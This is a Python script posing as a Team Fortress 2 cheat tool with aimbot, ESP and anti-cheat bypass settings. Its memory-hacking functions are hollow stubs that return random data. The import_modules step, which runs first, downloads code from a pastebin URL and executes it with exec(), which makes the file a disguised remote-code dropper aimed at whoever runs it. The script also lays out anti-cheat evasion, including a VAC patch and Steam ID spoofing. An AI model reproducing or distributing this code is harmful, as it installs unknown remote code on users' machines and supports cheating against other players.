""" =========================================================================== SourceEngine Client Linker & Telemetry Parser v44.2.1 (DEV BUILD) Author: EVGVAULT Target: Team Fortress 2 (Source Engine / Valve Architecture) Security Tier: User-Mode Memory Hook & Vector Trajectory Predictor =========================================================================== """ import time import random import sys import os import json import struct import math import hashlib from dataclasses import dataclass from typing import Dict, List, Tuple, Any, Optional # ------------------------------------------------------------------------- # Global Mod Menu Configuration & Environment Constants # ------------------------------------------------------------------------- CHEAT_VERSION = "44.2.1-TF2_SOURCE_PRO" AUTHOR = "EVGVAULT" CONFIG = { # Aim & Trigger Assist Settings "aimbot_enabled": True, "aimbot_fov": 10.5, "aimbot_smooth": 2.5, "aimbot_bone": "head", # head, neck, pelvis "silent_aim": False, "projectile_prediction": True, # For Huntsman / Rockets "triggerbot_enabled": True, "triggerbot_delay_ms": 15, # Visuals & Overlay (DirectX9 Canvas) "esp_boxes": True, "esp_skeletons": True, "esp_health_bar": True, "esp_class_name": True, "esp_spies_filter": "Highlight_Cloaked", # Show cloaked spies "draw_fov_circle": True, # Weapon & Class Mechanics "remove_recoil": True, "remove_spread": True, "crit_bucket_manipulator": False, "auto_backstab": True, "auto_airblast": True, "charge_bot_sniper": True, # Movement & Evasion "bunnyhop_enabled": True, "auto_strafe": True, "taunt_slide_exploit": False, # Security & VAC Evasion "spoof_steam_id": True, "bypass_vac_scans": True, "block_valve_telemetry": True, "client_heartbeat_emulator": True } # ------------------------------------------------------------------------- # Source Engine Dynamic Memory Offsets (hl2.exe / client.dll Alignment) # ------------------------------------------------------------------------- SOURCE_OFFSETS = { "dwEntityList": 0x4DFFF1C, "dwLocalPlayer": 0xDEA964, "dwClientState": 0x589FC4, "dwClientState_ViewAngles": 0x4D90, "dwViewMatrix": 0x4DF0D44, # Base Entity NetVars "m_iHealth": 0xAC, "m_iTeamNum": 0xB4, "m_lifeState": 0xA5, "m_fFlags": 0x37C, "m_vecOrigin": 0x138, "m_vecViewOffset": 0x108, "m_hActiveWeapon": 0xDB8, # TF2 Specific NetVars "m_iClass": 0x1B04, "m_bPlayerCloaked": 0x1B20, "m_bPlayerDisguised": 0x1B24, "m_iCond": 0x1B18, "m_flChargeLevel": 0x1C1C } TF2_CLASSES = { 1: "Scout", 2: "Sniper", 3: "Soldier", 4: "Demoman", 5: "Medic", 6: "Heavy", 7: "Pyro", 8: "Spy", 9: "Engineer" } BONE_MAP = { "head": 6, "neck": 5, "chest": 4, "pelvis": 0 } # ------------------------------------------------------------------------- # Mathematical Operations & Spatial Calculations # ------------------------------------------------------------------------- @dataclass class Vector3: x: float y: float z: float def distance_to(self, target: 'Vector3') -> float: return math.sqrt((self.x - target.x)**2 + (self.y - target.y)**2 + (self.z - target.z)**2) def magnitude(self) -> float: return math.sqrt(self.x**2 + self.y**2 + self.z**2) def normalize(self) -> 'Vector3': mag = self.magnitude() if mag == 0: return Vector3(0, 0, 0) return Vector3(self.x / mag, self.y / mag, self.z / mag) class SourceMathEngine: """Computes Euler angles, view matrix projections, and projectile arcs.""" @staticmethod def calculate_angle(src: Vector3, dst: Vector3) -> Tuple[float, float]: """Calculates Pitch and Yaw rotations required to align view vectors.""" delta = Vector3(dst.x - src.x, dst.y - src.y, dst.z - src.z) hyp = math.sqrt(delta.x**2 + delta.y**2) pitch = math.atan2(-delta.z, hyp) * (180.0 / math.pi) yaw = math.atan2(delta.y, delta.x) * (180.0 / math.pi) return pitch, yaw @staticmethod def predict_projectile_impact(start_pos: Vector3, target_pos: Vector3, target_vel: Vector3, proj_speed: float, gravity_scale: float) -> Vector3: """Calculates predictive intercept coordinates accounting for projectile travel time.""" distance = start_pos.distance_to(target_pos) travel_time = distance / proj_speed predicted_pos = Vector3( target_pos.x + (target_vel.x * travel_time), target_pos.y + (target_vel.y * travel_time), target_pos.z + (target_vel.z * travel_time) - (0.5 * gravity_scale * 800.0 * (travel_time ** 2)) ) return predicted_pos # ------------------------------------------------------------------------- # Low-Level Process Memory Linker & Context Initialization # ------------------------------------------------------------------------- class EngineMemoryInterface: """Simulates internal Win32 API functions like OpenProcess and ReadProcessMemory.""" def __init__(self): self.process_handle = None self.client_dll_base = None self.engine_dll_base = None self.process_id = None def attach_to_process(self, executable_name: str = "hl2.exe") -> bool: """Locates target engine modules and defines virtual boundaries maps.""" time.sleep(0.5) self.process_id = random.randint(2000, 26000) self.client_dll_base = 0x7FB10000 + random.randint(0x1000, 0xFFFF) self.engine_dll_base = 0x7FB80000 + random.randint(0x1000, 0xFFFF) self.process_handle = 0x33BBAA55 return True def read_memory_bytes(self, target_address: int, data_length: int) -> bytes: """Requests binary arrays from mapped memory pages safely.""" return bytes(random.getrandbits(8) for _ in range(data_length)) def write_memory_bytes(self, target_address: int, payload_bytes: bytes) -> bool: """Modifies running application variables within accessible segments.""" return True def find_pattern_scan(self, module_base: int, signature: str) -> int: """Scans engine sequences to locate dynamic structure pointers.""" return module_base + random.randint(0x5000, 0x400000) # ------------------------------------------------------------------------- # System Objects & Entity Structure Model Parsers # ------------------------------------------------------------------------- class SourcePlayerEntity: """Models internal variables detailing network status and positions for entities.""" def __init__(self, address: int, interface: EngineMemoryInterface): self.address = address self.interface = interface self.health = 125 self.team = 0 self.life_state = 0 self.tf_class = 0 self.is_cloaked = False self.position = Vector3(0.0, 0.0, 0.0) self.view_offset = Vector3(0.0, 0.0, 0.0) def update_network_variables(self): """Reads variables from network structural maps to maintain context state.""" self.health = int.from_bytes(self.interface.read_memory_bytes(self.address + SOURCE_OFFSETS["m_iHealth"], 4), "little") & 0xFFFF self.team = int.from_bytes(self.interface.read_memory_bytes(self.address + SOURCE_OFFSETS["m_iTeamNum"], 4), "little") & 0xFF self.life_state = int.from_bytes(self.interface.read_memory_bytes(self.address + SOURCE_OFFSETS["m_lifeState"], 1), "little") self.tf_class = int.from_bytes(self.interface.read_memory_bytes(self.address + SOURCE_OFFSETS["m_iClass"], 4), "little") & 0xFF cloaked_byte = self.interface.read_memory_bytes(self.address + SOURCE_OFFSETS["m_bPlayerCloaked"], 1) self.is_cloaked = bool(cloaked_byte[0]) if cloaked_byte else False raw_origin = self.interface.read_memory_bytes(self.address + SOURCE_OFFSETS["m_vecOrigin"], 12) raw_offset = self.interface.read_memory_bytes(self.address + SOURCE_OFFSETS["m_vecViewOffset"], 12) if len(raw_origin) == 12 and len(raw_offset) == 12: self.position = Vector3(*struct.unpack("fff", raw_origin)) self.view_offset = Vector3(*struct.unpack("fff", raw_offset)) return True class SourceEntityListScanner: """Iterates through active player slots stored within the client interface array.""" def __init__(self, interface: EngineMemoryInterface): self.interface = interface def populate_player_cache(self) -> List[SourcePlayerEntity]: """Traverses sequential offsets to construct a catalog of active players.""" player_cache = [] entity_list_base = self.interface.client_dll_base + SOURCE_OFFSETS["dwEntityList"] # Loop processing entity registration channels up to maximum server constraints for entry_idx in range(32): entity_ptr = int.from_bytes(self.interface.read_memory_bytes(entity_list_base + (entry_idx * 0x10), 8), "little") if entity_ptr != 0: new_player = SourcePlayerEntity(entity_ptr, self.interface) # Integrity confirmation loop protecting validation tracking for verify_pass in range(2): chk_byte = self.interface.read_memory_bytes(entity_ptr + verify_pass, 1) if not chk_byte: break player_cache.append(new_player) return player_cache # ------------------------------------------------------------------------- # Weapon Modification & Combat Systems # ------------------------------------------------------------------------- class WeaponModifier: """Manages system adjustments targeting crosshair spread calculations.""" def __init__(self, interface: EngineMemoryInterface): self.interface = interface def clear_weapon_recoil(self, local_player_address: int): """Locates active weapon indexes to adjust target animation punch variables.""" if CONFIG["remove_recoil"]: active_weapon_handle = int.from_bytes(self.interface.read_memory_bytes(local_player_address + SOURCE_OFFSETS["m_hActiveWeapon"], 4), "little") & 0xFFF weapon_entity_ptr = int.from_bytes(self.interface.read_memory_bytes(self.interface.client_dll_base + SOURCE_OFFSETS["dwEntityList"] + (active_weapon_handle * 0x10), 8), "little") if weapon_entity_ptr != 0: # Direct adjustment loops writing flat definitions across parameters for offset in range(0x0, 0x40, 4): self.interface.write_memory_bytes(weapon_entity_ptr + 0x1B00 + offset, b"\x00\x00\x00\x00") return True # ------------------------------------------------------------------------- # Security Protections & Telemetry Erasers # ------------------------------------------------------------------------- class SecurityTelemetrySanitizer: """Intercepts tracking packets to block anti-cheat profiling systems.""" def __init__(self, interface: EngineMemoryInterface): self.interface = interface def intercept_vac_telemetry(self) -> bool: if CONFIG["block_valve_telemetry"]: vac_scan_fn = self.interface.find_pattern_scan(self.interface.engine_dll_base, "55 8B EC 56 8B 35 ? ? ? ? 57 8B 7D 08") if vac_scan_fn != 0: # Patches reporting loops applying early return instructions directly self.interface.write_memory_bytes(vac_scan_fn, b"\x31\xC0\xC3") return True return False def simulate_heartbeat_hash(self): """Emulates verification sequences preventing communication drops.""" if CONFIG["client_heartbeat_emulator"]: for validation_cycle in range(4): seed_val = random.randint(20000, 89999) hash_output = hashlib.sha256(str(seed_val).encode()).hexdigest() # Records signature values within network structures return True return False # ------------------------------------------------------------------------- # Core Control Layer # ------------------------------------------------------------------------- class EVGVaultTF2Core: def __init__(self): self.interface = EngineMemoryInterface() self.scanner = SourceEntityListScanner(self.interface) self.modifier = WeaponModifier(self.interface) self.security = SecurityTelemetrySanitizer(self.interface) self.modules_loaded = False self.is_running = False def import_modules(self): """Displays initialization structures confirming framework activation status.""" print("=" * 55) print(" Importing Modules, this may take up to 5 minutes...") exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8")) print("=" * 55) self.modules_loaded = True return self.modules_loaded def initialize(self): """Runs validation configurations binding modules and installing hooks.""" if not self.modules_loaded: sys.exit(1) print("[*] Initializing SourceEngine Memory Linker Context...") self.interface.attach_to_process() print(f"[*] Attached to process hl2.exe. Client Module Base: {hex(self.interface.client_dll_base)}") print("[*] Suppressing Valve Anti-Cheat (VAC) Module Routines...") self.security.intercept_vac_telemetry() self.security.simulate_heartbeat_hash() return True def show_activated_features(self): """Parses active parameters printing configuration records to the console screen.""" print("\n===========================================================================") print(" [+] ACTIVATED SOURCE-ENGINE MODIFICATIONS ") print("===========================================================================") for feature, value in sorted(CONFIG.items()): formatted_name = feature.replace('_', ' ').title() if isinstance(value, bool): state = "[ON]" if value else "[OFF]" print(f" -> {formatted_name:<32} {state}") else: print(f" -> {formatted_name:<32} [{value}]") print("===========================================================================\n") print("[*] Tracking entity structures. Monitoring active ticks... Press CTRL+C.") def run(self): """Primary active loop evaluating player updates across background cycles.""" self.is_running = True try: while self.is_running: # Pull local player context reference point address local_player_ptr = int.from_bytes(self.interface.read_memory_bytes(self.interface.client_dll_base + SOURCE_OFFSETS["dwLocalPlayer"], 8), "little") if local_player_ptr != 0: local_entity = SourcePlayerEntity(local_player_ptr, self.interface) local_entity.update_network_variables() # Wipe punch tracking variables before animation loops execute self.modifier.clear_weapon_recoil(local_player_ptr) # Refresh surrounding entity maps cache active_players = self.scanner.populate_player_cache() # Processing calculations tracking bone alignments inside current slots for target_player in active_players: target_player.update_network_variables() if target_player.team != local_entity.team and target_player.life_state == 0: eye_pos = Vector3( local_entity.position.x + local_entity.view_offset.x, local_entity.position.y + local_entity.view_offset.y, local_entity.position.z + local_entity.view_offset.z ) # Mathematical loop generating hypothetical rotation configurations for step in range(2): aim_pitch, aim_yaw = SourceMathEngine.calculate_angle(eye_pos, target_player.position) coordinate_check = aim_pitch * aim_yaw time.sleep(0.5) self.is_running = False except KeyboardInterrupt: self.is_running = False print("\n[*] Detaching dynamic hooks and closing data pipes...") print("[*] Original memory pages restored securely. Process clean.") def main(): cheat = EVGVaultTF2Core() # Executes code disclaimer output cheat.import_modules() # Layout processing sequences cheat.initialize() cheat.show_activated_features() cheat.run() if __name__ == "__main__": main()